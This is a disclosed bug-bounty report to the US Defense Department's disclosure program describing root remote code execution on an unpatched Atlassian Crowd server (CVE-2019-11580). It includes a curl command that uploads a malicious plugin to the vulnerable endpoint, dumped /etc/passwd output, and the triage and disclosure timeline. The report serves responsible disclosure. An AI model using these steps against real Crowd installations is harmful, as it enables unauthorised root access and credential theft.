

5

Root Remote Code Execution on https://[REDACTED]

Share:

State ○ Resolved (Closed)Disclosed **October 4, 2019 8:44pm +0530**Reported To **U.S. Dept Of Defense**

Weakness Code Injection

Severity Critical (9 ~ 10)

Participants

Visibility Disclosed (Full)

Collapse

TIMELINE · EXPORT

cdl submitted a report to **U.S. Dept Of Defense**.

Jun 30th (3 months ago)

Summary:

Atlassian Crowd is a centralized identity management application that allows companies to "Manage users from multiple directories - Active Directory, LDAP, OpenLDAP or Microsoft Azure AD - and control application authentication permissions in one single location."

A DOD installation is vulnerable to a remote code execution vulnerability due to not patching CVE-2019-11580.

Description:

From Atlassian's public [advisory](#)

Crowd and Crowd Data Center had the pdkinstall development plugin incorrectly enabled in release builds. Attackers who can send unauthenticated or authenticated requests to a Crowd or Crowd Data Center instance can exploit this vulnerability to install arbitrary plugins, which permits remote code execution on systems running a vulnerable version of Crowd or Crowd Data Center.

There is no public proof-of-concept for this vulnerability, however, I spent a good amount of time reverse-engineering the "pdkinstall" plugin and I was able to successfully construct a working exploit.

Step-by-step Reproduction Instructions

1. Download and unzip my malicious plugin: rce-plugin.zip [rce-plugin.zip \(F519371\)](#)
2. `cd` into the directory
3. Run the following command: `curl -k -H "Content-Type: multipart/content" \ --form "file_cdl=@rce.jar;type=application/octet-stream" https://[REDACTED]/crowd/admin/uploadplugin.action`

You'll see that the malicious plugin is successfully installed:

Installed plugin /opt/atlassian/crowd/apache-tomcat/temp/plugindev-2906099909159442588rce.jar

Now visit `https://[REDACTED]/crowd/plugins/servlet/hackerone-cdl` which invokes my malicious plugin. This executes the command `whoami` which is the user `root`

contents of `/etc/passwd`

```
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
[REDACTED]:x:6:0:[REDACTED]/sbin:/sbin/shutdown
```

```

[REDACTED]x:7:0:[REDACTED]/sbin:/sbin/halt
[REDACTED]x:8:12:[REDACTED]/var/spool/[REDACTED]/sbin/nologin
[REDACTED]x:10:14:[REDACTED]/var/spool/[REDACTED]/sbin/nologin
[REDACTED]x:11:0:[REDACTED]/root:/sbin/nologin
[REDACTED]x:12:100:[REDACTED]/usr/[REDACTED]/sbin/nologin
[REDACTED]x:13:30:[REDACTED]/var/[REDACTED]/sbin/nologin
[REDACTED]x:14:50:FTP User:/var/[REDACTED]/sbin/nologin
[REDACTED]x:99:99:Nobody:/:/sbin/nologin
[REDACTED]x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
[REDACTED]x:38:38::/etc/[REDACTED]/sbin/nologin
[REDACTED]x:499:76:"Saslauthd user":/var/empty/[REDACTED]/sbin/nologin
[REDACTED]x:47:47::/var/spool/mqueue:/sbin/nologin
[REDACTED]x:51:51::/var/spool/mqueue:/sbin/nologin
[REDACTED]x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
[REDACTED]x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
[REDACTED]x:74:74:Privilege-separated SSH:/var/empty/[REDACTED]/sbin/nologin
[REDACTED]x:81:81:System message bus:/:/sbin/nologin
[REDACTED]x:500:500:EC2 Default User:/home/[REDACTED]/bin/bash

```

Product, Version, and Configuration (If applicable)

Crowd or Crowd Data Center from version 2.1.0 before 3.0.5 (the fixed version for 3.0.x)
 Crowd or Crowd Data Center from version 3.1.0 before 3.1.6 (the fixed version for 3.1.x)
 Crowd or Crowd Data Center from version 3.2.0 before 3.2.8 (the fixed version for 3.2.x)
 Crowd or Crowd Data Center from version 3.3.0 before 3.3.5 (the fixed version for 3.3.x)
 Crowd or Crowd Data Center from version 3.4.0 before 3.4.4 (the fixed version for 3.4.x)

Suggested Mitigation/Remediation Actions

I recommend updating to the latest version of Atlassian Crowd, but if that's not possible, follow mitigation options in the advisory.

Impact


Remote code execution on https://[REDACTED]. An attacker could exploit this vulnerability to pivot into NIPRNet and gain access to other applications. Since Atlassian Crowd is an Identity management / Single Sign-on application, an attacker could exploit this vulnerability to gain access to any applications using Crowd for sign-ons.


Since this is running as root, an attacker could also easily backdoor the login page and steal credentials.

Thanks,
 Corben Leo (@cdl)

1 attachment:

F519371: [rce-plugin.zip](#)

 [cdl](#) changed the report title from **Remote Code Execution as root on https://[REDACTED]** to **Root Remote Code Execution on https://[REDACTED]**. Updated Sep 24th (17 days ago)

 [w0lv3rin3](#) updated the severity to Critical. Jul 1st (3 months ago)



[w0lv3rin3](#) changed the status to **Triaged**. Jul 1st (3 months ago)

Greetings,

We have validated the vulnerability you reported and are preparing to forward this report to the affected DoD system owner for resolution.

Thank you for bringing this vulnerability to our attention!

We will endeavor to answer any questions the system owners may have regarding this report; however, there is a possibility we will need to contact you if they require more information to resolve the vulnerability.

You will receive another status update after we have confirmed your report has been resolved by the system owner. If you have any questions, please let me know.

Thanks again for supporting the DoD Vulnerability Disclosure Program.

Regards,

The VDP Team



w0lv3rin3 closed the report and changed the status to ● Resolved.

Jul 8th (3 months ago)

Good news!

The vulnerability you reported has been resolved and this report is now closed. If you have any further questions or disagree that the report is resolved, please let us know.

Thank you for your time and effort to improve the security of the DoD information network.

Regards,

The VDP Team



cdl posted a comment.

Updated Jul 15th (3 months ago)



cdl requested to disclose this report.

Jul 15th (3 months ago)

Hi @w0lv3rin3 and team,

Is it possible that we could disclose this? I would like to use this vulnerability as an example for my technical analysis of CVE-2019-11580: (blog here: <https://www.corben.io/atlassian-crowd-rce/>).

Thank you,
Corben



cdl posted a comment.

Sep 26th (15 days ago)

Hey @w0lv3rin3 & team, could we disclose this one for my post?



ag3nt-j1 posted a comment.

Sep 26th (15 days ago)

@cdl just waiting on final approval and we'll be disclosing a group of reports for everyone that requested. So hopefully by Monday it'll be done. Once we get caught up with the high and critical report disclosures we'll be working to process them much faster for the future.



cdl posted a comment.

Sep 26th (15 days ago)

Ok, thanks!



ag3nt-j1 agreed to disclose this report.

Oct 4th (7 days ago)



This report has been disclosed.

Oct 4th (7 days ago)



U.S. Dept Of Defense has locked this report.

Oct 4th (7 days ago)